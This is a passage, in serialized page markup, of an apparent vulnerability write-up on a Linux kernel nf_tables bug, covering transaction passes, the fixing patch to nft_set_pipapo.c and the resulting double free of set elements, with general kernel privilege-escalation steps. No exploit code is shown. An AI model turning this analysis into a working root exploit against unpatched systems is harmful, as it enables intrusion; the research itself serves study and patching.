etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":19,"tag":1344,"props":48060,"children":48063},{"alt":48061,"src":48062},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":19,"tag":20,"props":48065,"children":48066},{},[48067],{"type":24,"value":48068},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":19,"tag":7050,"props":48070,"children":48072},{"id":48071},"kernel-exploitation",[48073],{"type":24,"value":48074},"Kernel exploitation",{"type":19,"tag":20,"props":48076,"children":48077},{},[48078],{"type":24,"value":48079},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":19,"tag":43,"props":48081,"children":48082},{},[48083,48088,48093],{"type":19,"tag":47,"props":48084,"children":48085},{},[48086],{"type":24,"value":48087},"Trigger some memory corruption in some kernel subsystem",{"type":19,"tag":47,"props":48089,"children":48090},{},[48091],{"type":24,"value":48092},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":19,"tag":47,"props":48094,"children":48095},{},[48096],{"type":24,"value":48097},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":19,"tag":20,"props":48099,"children":48100},{},[48101,48103,48110],{"type":24,"value":48102},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":19,"tag":269,"props":48104,"children":48107},{"href":48105,"rel":48106},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[273],[48108],{"type":24,"value":48109},"blog post",{"type":24,"value":48111}," to become more familiar with the topic.",{"type":19,"tag":36,"props":48113,"children":48115},{"id":48114},"nf_tables",[48116],{"type":19,"tag":27,"props":48117,"children":48119},{"className":48118},[],[48120],{"type":24,"value":48114},{"type":19,"tag":20,"props":48122,"children":48123},{},[48124,48129,48131,48137,48138,48144,48146,48152],{"type":19,"tag":27,"props":48125,"children":48127},{"className":48126},[],[48128],{"type":24,"value":48114},{"type":24,"value":48130}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":19,"tag":269,"props":48132,"children":48135},{"href":48133,"rel":48134},"https://pwning.tech/nftables",[273],[48136],{"type":24,"value":1442},{"type":24,"value":471},{"type":19,"tag":269,"props":48139,"children":48142},{"href":48140,"rel":48141},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[273],[48143],{"type":24,"value":519},{"type":24,"value":48145},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":19,"tag":27,"props":48147,"children":48149},{"className":48148},[],[48150],{"type":24,"value":48151},"nf_table",{"type":24,"value":48153}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":19,"tag":20,"props":48155,"children":48156},{},[48157],{"type":24,"value":48158},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":19,"tag":7050,"props":48160,"children":48162},{"id":48161},"transactions",[48163],{"type":24,"value":48164},"Transactions",{"type":19,"tag":20,"props":48166,"children":48167},{},[48168,48170,48175,48177,48182],{"type":24,"value":48169},"A transaction is an interaction that updates ",{"type":19,"tag":27,"props":48171,"children":48173},{"className":48172},[],[48174],{"type":24,"value":48114},{"type":24,"value":48176}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":19,"tag":27,"props":48178,"children":48180},{"className":48179},[],[48181],{"type":24,"value":48114},{"type":24,"value":48183}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":19,"tag":43,"props":48185,"children":48186},{},[48187,48197,48207],{"type":19,"tag":47,"props":48188,"children":48189},{},[48190,48195],{"type":19,"tag":51,"props":48191,"children":48192},{},[48193],{"type":24,"value":48194},"Control plane",{"type":24,"value":48196},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":19,"tag":47,"props":48198,"children":48199},{},[48200,48205],{"type":19,"tag":51,"props":48201,"children":48202},{},[48203],{"type":24,"value":48204},"Commit path",{"type":24,"value":48206},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":19,"tag":47,"props":48208,"children":48209},{},[48210,48215],{"type":19,"tag":51,"props":48211,"children":48212},{},[48213],{"type":24,"value":48214},"Abort path",{"type":24,"value":48216},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":19,"tag":36,"props":48218,"children":48220},{"id":48219},"vulnerability-details",[48221],{"type":24,"value":48222},"Vulnerability details",{"type":19,"tag":20,"props":48224,"children":48225},{},[48226,48228,48234],{"type":24,"value":48227},"Moving on, let's check out the ",{"type":19,"tag":269,"props":48229,"children":48232},{"href":48230,"rel":48231},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[273],[48233],{"type":24,"value":1657},{"type":24,"value":48235}," that fixed the bug.",{"type":19,"tag":158,"props":48237,"children":48239},{"className":37836,"code":48238,"language":37838,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[48240],{"type":19,"tag":27,"props":48241,"children":48242},{"__ignoreMap":7},[48243,48251,48259,48267,48275,48283,48290,48298,48305,48313,48321,48329,48337,48345,48353,48361,48369,48377,48385,48393,48400,48408,48416,48424,48431,48438],{"type":19,"tag":168,"props":48244,"children":48245},{"class":170,"line":171},[48246],{"type":19,"tag":168,"props":48247,"children":48248},{"style":382},[48249],{"type":24,"value":48250},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":19,"tag":168,"props":48252,"children":48253},{"class":170,"line":198},[48254],{"type":19,"tag":168,"props":48255,"children":48256},{"style":212},[48257],{"type":24,"value":48258},"index c0ceea068936a6..df8de509024637 100644\n",{"type":19,"tag":168,"props":48260,"children":48261},{"class":170,"line":415},[48262],{"type":19,"tag":168,"props":48263,"children":48264},{"style":382},[48265],{"type":24,"value":48266},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":19,"tag":168,"props":48268,"children":48269},{"class":170,"line":450},[48270],{"type":19,"tag":168,"props":48271,"children":48272},{"style":382},[48273],{"type":24,"value":48274},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":19,"tag":168,"props":48276,"children":48277},{"class":170,"line":560},[48278],{"type":19,"tag":168,"props":48279,"children":48280},{"style":212},[48281],{"type":24,"value":48282},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":19,"tag":168,"props":48284,"children":48285},{"class":170,"line":666},[48286],{"type":19,"tag":168,"props":48287,"children":48288},{"emptyLinePlaceholder":14},[48289],{"type":24,"value":1093},{"type":19,"tag":168,"props":48291,"children":48292},{"class":170,"line":694},[48293],{"type":19,"tag":168,"props":48294,"children":48295},{"style":212},[48296],{"type":24,"value":48297}," m = rcu_dereference_protected(priv->match, true);\n",{"type":19,"tag":168,"props":48299,"children":48300},{"class":170,"line":707},[48301],{"type":19,"tag":168,"props":48302,"children":48303},{"emptyLinePlaceholder":14},[48304],{"type":24,"value":1093},{"type":19,"tag":168,"props":48306,"children":48307},{"class":170,"line":725},[48308],{"type":19,"tag":168,"props":48309,"children":48310},{"style":212},[48311],{"type":24,"value":48312}," if (m) {\n",{"type":19,"tag":168,"props":48314,"children":48315},{"class":170,"line":746},[48316],{"type":19,"tag":168,"props":48317,"children":48318},{"style":212},[48319],{"type":24,"value":48320}," rcu_barrier();\n",{"type":19,"tag":168,"props":48322,"children":48323},{"class":170,"line":755},[48324],{"type":19,"tag":168,"props":48325,"children":48326},{"style":212},[48327],{"type":24,"value":48328}," \n",{"type":19,"tag":168,"props":48330,"children":48331},{"class":170,"line":1008},[48332],{"type":19,"tag":168,"props":48333,"children":48334},{"style":181},[48335],{"type":24,"value":48336},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":19,"tag":168,"props":48338,"children":48339},{"class":170,"line":1025},[48340],{"type":19,"tag":168,"props":48341,"children":48342},{"style":181},[48343],{"type":24,"value":48344},"-\n",{"type":19,"tag":168,"props":48346,"children":48347},{"class":170,"line":1042},[48348],{"type":19,"tag":168,"props":48349,"children":48350},{"style":212},[48351],{"type":24,"value":48352}," for_each_possible_cpu(cpu)\n",{"type":19,"tag":168,"props":48354,"children":48355},{"class":170,"line":1055},[48356],{"type":19,"tag":168,"props":48357,"children":48358},{"style":212},[48359],{"type":24,"value":48360}," pipapo_free_scratch(m, cpu);\n",{"type":19,"tag":168,"props":48362,"children":48363},{"class":170,"line":1064},[48364],{"type":19,"tag":168,"props":48365,"children":48366},{"style":212},[48367],{"type":24,"value":48368}," free_percpu(m->scratch);\n",{"type":19,"tag":168,"props":48370,"children":48371},{"class":170,"line":1087},[48372],{"type":19,"tag":168,"props":48373,"children":48374},{"style":212},[48375],{"type":24,"value":48376},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":19,"tag":168,"props":48378,"children":48379},{"class":170,"line":1096},[48380],{"type":19,"tag":168,"props":48381,"children":48382},{"style":212},[48383],{"type":24,"value":48384}," if (priv->clone) {\n",{"type":19,"tag":168,"props":48386,"children":48387},{"class":170,"line":1105},[48388],{"type":19,"tag":168,"props":48389,"children":48390},{"style":212},[48391],{"type":24,"value":48392}," m = priv->clone;\n",{"type":19,"tag":168,"props":48394,"children":48395},{"class":170,"line":1174},[48396],{"type":19,"tag":168,"props":48397,"children":48398},{"style":212},[48399],{"type":24,"value":48328},{"type":19,"tag":168,"props":48401,"children":48402},{"class":170,"line":1182},[48403],{"type":19,"tag":168,"props":48404,"children":48405},{"style":181},[48406],{"type":24,"value":48407},"- if (priv->dirty)\n",{"type":19,"tag":168,"props":48409,"children":48410},{"class":170,"line":1212},[48411],{"type":19,"tag":168,"props":48412,"children":48413},{"style":181},[48414],{"type":24,"value":48415},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":19,"tag":168,"props":48417,"children":48418},{"class":170,"line":1220},[48419],{"type":19,"tag":168,"props":48420,"children":48421},{"style":192},[48422],{"type":24,"value":48423},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":19,"tag":168,"props":48425,"children":48426},{"class":170,"line":1252},[48427],{"type":19,"tag":168,"props":48428,"children":48429},{"style":212},[48430],{"type":24,"value":48328},{"type":19,"tag":168,"props":48432,"children":48433},{"class":170,"line":1260},[48434],{"type":19,"tag":168,"props":48435,"children":48436},{"style":212},[48437],{"type":24,"value":48352},{"type":19,"tag":168,"props":48439,"children":48440},{"class":170,"line":1320},[48441],{"type":19,"tag":168,"props":48442,"children":48443},{"style":212},[48444],{"type":24,"value":48445}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":19,"tag":20,"props":48447,"children":48448},{},[48449,48451,48457,48458,48464,48466,48472,48474,48480,48482,48487,48489,48495,48497,48503,48505,48511],{"type":24,"value":48450},"If the ",{"type":19,"tag":27,"props":48452,"children":48454},{"className":48453},[],[48455],{"type":24,"value":48456},"priv->dirty",{"type":24,"value":8436},{"type":19,"tag":27,"props":48459,"children":48461},{"className":48460},[],[48462],{"type":24,"value":48463},"priv->clone",{"type":24,"value":48465}," variables are set, ",{"type":19,"tag":27,"props":48467,"children":48469},{"className":48468},[],[48470],{"type":24,"value":48471},"nft_set_pipapo_match_destroy()",{"type":24,"value":48473}," is called twice, once with ",{"type":19,"tag":27,"props":48475,"children":48477},{"className":48476},[],[48478],{"type":24,"value":48479},"priv->match",{"type":24,"value":48481}," as an argument, and then again with ",{"type":19,"tag":27,"props":48483,"children":48485},{"className":48484},[],[48486],{"type":24,"value":48463},{"type":24,"value":48488},". Looking at what this function does, we can see that it is iterating over the ",{"type":19,"tag":27,"props":48490,"children":48492},{"className":48491},[],[48493],{"type":24,"value":48494},"setelem",{"type":24,"value":48496},"s of the ",{"type":19,"tag":27,"props":48498,"children":48500},{"className":48499},[],[48501],{"type":24,"value":48502},"set",{"type":24,"value":48504}," and calling ",{"type":19,"tag":27,"props":48506,"children":48508},{"className":48507},[],[48509],{"type":24,"value":48510},"nf_tables_set_elem_destroy()",{"type":24,"value":48512}," for each of them.",{"type":19,"tag":158,"props":48514,"children":48516},{"className":13963,"code":48515,"language":543,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[48517],{"type":19,"tag":27,"props":48518,"children":48519},{"__ignoreMap":7},[48520,48567,48595,48621,48628,48649,48662,48669,48766,48774,48781,48836,48857,48864,48967,48979,48986,49022,49029,49063,49070],{"type":19,"tag":168,"props":48521,"children":48522},{"class":170,"line":171},[48523,48528,48533,48538,48542,48546,48550,48555,48559,48563],{"type":19,"tag":168,"props":48524,"children":48525},{"style":382},[48526],{"type":24,"value":48527},"static",{"type":19,"tag":168,"props":48529,"children":48530},{"style":382},[48531],{"type":24,"value":48532}," void",{"type":19,"tag":168,"props":48534,"children":48535},{"style":175},[48536],{"type":24,"value":48537}," nft_set_pipapo_match_destroy",{"type":19,"tag":168,"props":48539,"children":48540},{"style":212},[48541],{"type":24,"value":500},{"type":19,"tag":168,"props":48543,"children":48544},{"style":382},[48545],{"type":24,"value":7097},{"type":19,"tag":168,"props":48547,"children":48548},{"style":382},[48549],{"type":24,"value":18606},{"type":19,"tag":168,"props":48551,"children":48552},{"style":212},[48553],{"type":24,"value":48554}," nft_ctx ",{"type":19,"tag":168,"props":48556,"children":48557},{"style":399},[48558],{"type":24,"value":2002},{"type":19,"tag":168,"props":48560,"children":48561},{"style":393},[48562],{"type":24,"value":17735},{"type":19,"tag":168,"props":48564,"children":48565},{"style":212},[48566],{"type":24,"value":915},{"type":19,"tag":168,"props":48568,"children":48569},{"class":170,"line":198},[48570,48574,48578,48583,48587,48591],{"type":19,"tag":168,"props":48571,"children":48572},{"style":382},[48573],{"type":24,"value":29019},{"type":19,"tag":168,"props":48575,"children":48576},{"style":382},[48577],{"type":24,"value":18606},{"type":19,"tag":168,"props":48579,"children":48580},{"style":212},[48581],{"type":24,"value":48582}," nft_set ",{"type":19,"tag":168,"props":48584,"children":48585},{"style":399},[48586],{"type":24,"value":2002},{"type":19,"tag":168,"props":48588,"children":48589},{"style":393},[48590],{"type":24,"value":48502},{"type":19,"tag":168,"props":48592,"children":48593},{"style":212},[48594],{"type":24,"value":915},{"type":19,"tag":168,"props":48596,"children":48597},{"class":170,"line":415},[48598,48603,48608,48612,48617],{"type":19,"tag":168,"props":48599,"children":48600},{"style":382},[48601],{"type":24,"value":48602}," struct",{"type":19,"tag":168,"props":48604,"children":48605},{"style":212},[48606],{"type":24,"value":48607}," nft_pipapo_match ",{"type":19,"tag":168,"props":48609,"children":48610},{"style":399},[48611],{"type":24,"value":2002},{"type":19,"tag":168,"props":48613,"children":48614},{"style":393},[48615],{"type":24,"value":48616},"m",{"type":19,"tag":168,"props":48618,"children":48619},{"style":212},[48620],{"type":24,"value":557},{"type":19,"tag":168,"props":48622,"children":48623},{"class":170,"line":450},[48624],{"type":19,"tag":168,"props":48625,"children":48626},{"style":212},[48627],{"type":24,"value":8324},{"type":19,"tag":168,"props":48629,"children":48630},{"class":170,"line":560},[48631,48635,48640,48644],{"type":19,"tag":168,"props":48632,"children":48633},{"style":382},[48634],{"type":24,"value":18606},{"type":19,"tag":168,"props":48636,"children":48637},{"style":212},[48638],{"type":24,"value":48639}," nft_pipapo_field ",{"type":19,"tag":168,"props":48641,"children":48642},{"style":399},[48643],{"type":24,"value":2002},{"type":19,"tag":168,"props":48645,"children":48646},{"style":212},[48647],{"type":24,"value":48648},"f;\n",{"type":19,"tag":168,"props":48650,"children":48651},{"class":170,"line":666},[48652,48657],{"type":19,"tag":168,"props":48653,"children":48654},{"style":382},[48655],{"type":24,"value":48656}," int",{"type":19,"tag":168,"props":48658,"children":48659},{"style":212},[48660],{"type":24,"value":48661}," i, r;\n",{"type":19,"tag":168,"props":48663,"children":48664},{"class":170,"line":694},[48665],{"type":19,"tag":168,"props":48666,"children":48667},{"emptyLinePlaceholder":14},[48668],{"type":24,"value":1093},{"type":19,"tag":168,"props":48670,"children":48671},{"class":170,"line":707},[48672,48677,48682,48686,48690,48695,48699,48704,48708,48712,48717,48721,48725,48729,48734,48739,48743,48748,48753,48758,48762],{"type":19,"tag":168,"props":48673,"children":48674},{"style":419},[48675],{"type":24,"value":48676}," for",{"type":19,"tag":168,"props":48678,"children":48679},{"style":212},[48680],{"type":24,"value":48681}," (i ",{"type":19,"tag":168,"props":48683,"children":48684},{"style":399},[48685],{"type":24,"value":486},{"type":19,"tag":168,"props":48687,"children":48688},{"style":192},[48689],{"type":24,"value":437},{"type":19,"tag":168,"props":48691,"children":48692},{"style":212},[48693],{"type":24,"value":48694},", f ",{"type":19,"tag":168,"props":48696,"children":48697},{"style":399},[48698],{"type":24,"value":486},{"type":19,"tag":168,"props":48700,"children":48701},{"style":393},[48702],{"type":24,"value":48703}," m",{"type":19,"tag":168,"props":48705,"children":48706},{"style":212},[48707],{"type":24,"value":11203},{"type":19,"tag":168,"props":48709,"children":48710},{"style":393},[48711],{"type":24,"value":30558},{"type":19,"tag":168,"props":48713,"children":48714},{"style":212},[48715],{"type":24,"value":48716},"; i ",{"type":19,"tag":168,"props":48718,"children":48719},{"style":399},[48720],{"type":24,"value":3240},{"type":19,"tag":168,"props":48722,"children":48723},{"style":393},[48724],{"type":24,"value":48703},{"type":19,"tag":168,"props":48726,"children":48727},{"style":212},[48728],{"type":24,"value":11203},{"type":19,"tag":168,"props":48730,"children":48731},{"style":393},[48732],{"type":24,"value":48733},"field_count",{"type":19,"tag":168,"props":48735,"children":48736},{"style":399},[48737],{"type":24,"value":48738}," -",{"type":19,"tag":168,"props":48740,"children":48741},{"style":192},[48742],{"type":24,"value":1954},{"type":19,"tag":168,"props":48744,"children":48745},{"style":212},[48746],{"type":24,"value":48747},"; i",{"type":19,"tag":168,"props":48749,"children":48750},{"style":399},[48751],{"type":24,"value":48752},"++",{"type":19,"tag":168,"props":48754,"children":48755},{"style":212},[48756],{"type":24,"value":48757},", f",{"type":19,"tag":168,"props":48759,"children":48760},{"style":399},[48761],{"type":24,"value":48752},{"type":19,"tag":168,"props":48763,"children":48764},{"style":212},[48765],{"type":24,"value":557},{"type":19,"tag":168,"props":48767,"children":48768},{"class":170,"line":725},[48769],{"type":19,"tag":168,"props":48770,"children":48771},{"style":212},[48772],{"type":24,"value":48773}," ;\n",{"type":19,"tag":168,"props":48775,"children":48776},{"class":170,"line":746},[48777],{"type":19,"tag":168,"props":48778,"children":48779},{"emptyLinePlaceholder":14},[48780],{"type":24,"value":1093},{"type":19,"tag":168,"props":48782,"children":48783},{"class":170,"line":755},[48784,48788,48793,48797,48801,48806,48810,48814,48818,48823,48828,48832],{"type":19,"tag":168,"props":48785,"children":48786},{"style":419},[48787],{"type":24,"value":48676},{"type":19,"tag":168,"props":48789,"children":48790},{"style":212},[48791],{"type":24,"value":48792}," (r ",{"type":19,"tag":168,"props":48794,"children":48795},{"style":399},[48796],{"type":24,"value":486},{"type":19,"tag":168,"props":48798,"children":48799},{"style":192},[48800],{"type":24,"value":437},{"type":19,"tag":168,"props":48802,"children":48803},{"style":212},[48804],{"type":24,"value":48805},"; r ",{"type":19,"tag":168,"props":48807,"children":48808},{"style":399},[48809],{"type":24,"value":3240},{"type":19,"tag":168,"props":48811,"children":48812},{"style":393},[48813],{"type":24,"value":30444},{"type":19,"tag":168,"props":48815,"children":48816},{"style":212},[48817],{"type":24,"value":11203},{"type":19,"tag":168,"props":48819,"children":48820},{"style":393},[48821],{"type":24,"value":48822},"rules",{"type":19,"tag":168,"props":48824,"children":48825},{"style":212},[48826],{"type":24,"value":48827},"; r",{"type":19,"tag":168,"props":48829,"children":48830},{"style":399},[48831],{"type":24,"value":48752},{"type":19,"tag":168,"props":48833,"children":48834},{"style":212},[48835],{"type":24,"value":12250},{"type":19,"tag":168,"props":48837,"children":48838},{"class":170,"line":1008},[48839,48843,48848,48852],{"type":19,"tag":168,"props":48840,"children":48841},{"style":382},[48842],{"type":24,"value":3230},{"type":19,"tag":168,"props":48844,"children":48845},{"style":212},[48846],{"type":24,"value":48847}," nft_pipapo_elem ",{"type":19,"tag":168,"props":48849,"children":48850},{"style":399},[48851],{"type":24,"value":2002},{"type":19,"tag":168,"props":48853,"children":48854},{"style":212},[48855],{"type":24,"value":48856},"e;\n",{"type":19,"tag":168,"props":48858,"children":48859},{"class":170,"line":1025},[48860],{"type":19,"tag":168,"props":48861,"children":48862},{"emptyLinePlaceholder":14},[48863],{"type":24,"value":1093},{"type":19,"tag":168,"props":48865,"children":48866},{"class":170,"line":1042},[48867,48871,48875,48879,48883,48887,48891,48895,48899,48903,48907,48911,48916,48921,48925,48929,48933,48938,48942,48946,48950,48954,48959,48963],{"type":19,"tag":168,"props":48868,"children":48869},{"style":419},[48870],{"type":24,"value":28866},{"type":19,"tag":168,"props":48872,"children":48873},{"style":212},[48874],{"type":24,"value":48792},{"type":19,"tag":168,"props":48876,"children":48877},{"style":399},[48878],{"type":24,"value":3240},{"type":19,"tag":168,"props":48880,"children":48881},{"style":393},[48882],{"type":24,"value":30444},{"type":19,"tag":168,"props":48884,"children":48885},{"style":212},[48886],{"type":24,"value":11203},{"type":19,"tag":168,"props":48888,"children":48889},{"style":393},[48890],{"type":24,"value":48822},{"type":19,"tag":168,"props":48892,"children":48893},{"style":399},[48894],{"type":24,"value":48738},{"type":19,"tag":168,"props":48896,"children":48897},{"style":192},[48898],{"type":24,"value":1954},{"type":19,"tag":168,"props":48900,"children":48901},{"style":399},[48902],{"type":24,"value":11631},{"type":19,"tag":168,"props":48904,"children":48905},{"style":393},[48906],{"type":24,"value":30444},{"type":19,"tag":168,"props":48908,"children":48909},{"style":212},[48910],{"type":24,"value":11203},{"type":19,"tag":168,"props":48912,"children":48913},{"style":393},[48914],{"type":24,"value":48915},"mt",{"type":19,"tag":168,"props":48917,"children":48918},{"style":212},[48919],{"type":24,"value":48920},"[r ",{"type":19,"tag":168,"props":48922,"children":48923},{"style":399},[48924],{"type":24,"value":1811},{"type":19,"tag":168,"props":48926,"children":48927},{"style":192},[48928],{"type":24,"value":1954},{"type":19,"tag":168,"props":48930,"children":48931},{"style":212},[48932],{"type":24,"value":47831},{"type":19,"tag":168,"props":48934,"children":48935},{"style":393},[48936],{"type":24,"value":48937},"e",{"type":19,"tag":168,"props":48939,"children":48940},{"style":399},[48941],{"type":24,"value":682},{"type":19,"tag":168,"props":48943,"children":48944},{"style":393},[48945],{"type":24,"value":30444},{"type":19,"tag":168,"props":48947,"children":48948},{"style":212},[48949],{"type":24,"value":11203},{"type":19,"tag":168,"props":48951,"children":48952},{"style":393},[48953],{"type":24,"value":48915},{"type":19,"tag":168,"props":48955,"children":48956},{"style":212},[48957],{"type":24,"value":48958},"[r].",{"type":19,"tag":168,"props":48960,"children":48961},{"style":393},[48962],{"type":24,"value":48937},{"type":19,"tag":168,"props":48964,"children":48965},{"style":212},[48966],{"type":24,"value":557},{"type":19,"tag":168,"props":48968,"children":48969},{"class":170,"line":1055},[48970,48975],{"type":19,"tag":168,"props":48971,"children":48972},{"style":419},[48973],{"type":24,"value":48974}," continue",{"type":19,"tag":168,"props":48976,"children":48977},{"style":212},[48978],{"type":24,"value":412},{"type":19,"tag":168,"props":48980,"children":48981},{"class":170,"line":1064},[48982],{"type":19,"tag":168,"props":48983,"children":48984},{"emptyLinePlaceholder":14},[48985],{"type":24,"value":1093},{"type":19,"tag":168,"props":48987,"children":48988},{"class":170,"line":1087},[48989,48994,48998,49002,49006,49010,49014,49018],{"type":19,"tag":168,"props":48990,"children":48991},{"style":212},[48992],{"type":24,"value":48993}," e ",{"type":19,"tag":168,"props":48995,"children":48996},{"style":399},[48997],{"type":24,"value":486},{"type":19,"tag":168,"props":48999,"children":49000},{"style":393},[49001],{"type":24,"value":30444},{"type":19,"tag":168,"props":49003,"children":49004},{"style":212},[49005],{"type":24,"value":11203},{"type":19,"tag":168,"props":49007,"children":49008},{"style":393},[49009],{"type":24,"value":48915},{"type":19,"tag":168,"props":49011,"children":49012},{"style":212},[49013],{"type":24,"value":48958},{"type":19,"tag":168,"props":49015,"children":49016},{"style":393},[49017],{"type":24,"value":48937},{"type":19,"tag":168,"props":49019,"children":49020},{"style":212},[49021],{"type":24,"value":412},{"type":19,"tag":168,"props":49023,"children":49024},{"class":170,"line":1096},[49025],{"type":19,"tag":168,"props":49026,"children":49027},{"emptyLinePlaceholder":14},[49028],{"type":24,"value":1093},{"type":19,"tag":168,"props":49030,"children":49031},{"class":170,"line":1105},[49032,49037,49042,49046,49050,49054,49059],{"type":19,"tag":168,"props":49033,"children":49034},{"style":175},[49035],{"type":24,"value":49036}," nf_tables_set_elem_destroy",{"type":19,"tag":168,"props":49038,"children":49039},{"style":212},[49040],{"type":24,"value":49041},"(ctx, set, ",{"type":19,"tag":168,"props":49043,"children":49044},{"style":399},[49045],{"type":24,"value":505},{"type":19,"tag":168,"props":49047,"children":49048},{"style":393},[49049],{"type":24,"value":48937},{"type":19,"tag":168,"props":49051,"children":49052},{"style":212},[49053],{"type":24,"value":11203},{"type":19,"tag":168,"props":49055,"children":49056},{"style":393},[49057],{"type":24,"value":49058},"priv",{"type":19,"tag":168,"props":49060,"children":49061},{"style":212},[49062],{"type":24,"value":1249},{"type":19,"tag":168,"props":49064,"children":49065},{"class":170,"line":1174},[49066],{"type":19,"tag":168,"props":49067,"children":49068},{"style":212},[49069],{"type":24,"value":7037},{"type":19,"tag":168,"props":49071,"children":49072},{"class":170,"line":1182},[49073],{"type":19,"tag":168,"props":49074,"children":49075},{"style":212},[49076],{"type":24,"value":1326},{"type":19,"tag":20,"props":49078,"children":49079},{},[49080,49082,49088,49090,49095],{"type":24,"value":49081},"Which will then ",{"type":19,"tag":27,"props":49083,"children":49085},{"className":49084},[],[49086],{"type":24,"value":49087},"kfree()",{"type":24,"value":49089}," the ",{"type":19,"tag":27,"props":49091,"children":49093},{"className":49092},[],[49094],{"type":24,"value":48494},{"type":24,"value":948},{"type":19,"tag":158,"props":49097,"children":49099},{"className":13963,"code":49098,"language":543,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[49100],{"type":19,"tag":27,"props":49101,"children":49102},{"__ignoreMap":7},[49103,49144,49172,49201,49208,49243,49250,49271,49294,49301,49314],{"type":19,"tag":168,"props":49104,"children":49105},{"class":170,"line":171},[49106,49111,49116,49120,49124,49128,49132,49136,49140],{"type":19,"tag":168,"props":49107,"children":49108},{"style":382},[49109],{"type":24,"value":49110},"void",{"type":19,"tag":168,"props":49112,"children":49113},{"style":175},[49114],{"type":24,"value":49115}," nf_tables_set_elem_destroy",{"type":19,"tag":168,"props":49117,"children":49118},{"style":212},[49119],{"type":24,"value":500},{"type":19,"tag":168,"props":49121,"children":49122},{"style":382},[49123],{"type":24,"value":7097},{"type":19,"tag":168,"props":49125,"children":49126},{"style":382},[49127],{"type":24,"value":18606},{"type":19,"tag":168,"props":49129,"children":49130},{"style":212},[49131],{"type":24,"value":48554},{"type":19,"tag":168,"props":49133,"children":49134},{"style":399},[49135],{"type":24,"value":2002},{"type":19,"tag":168,"props":49137,"children":49138},{"style":393},[49139],{"type":24,"value":17735},{"type":19,"tag":168,"props":49141,"children":49142},{"style":212},[49143],{"type":24,"value":915},{"type":19,"tag":168,"props":49145,"children":49146},{"class":170,"line":198},[49147,49152,49156,49160,49164,49168],{"type":19,"tag":168,"props":49148,"children":49149},{"style":382},[49150],{"type":24,"value":49151}," 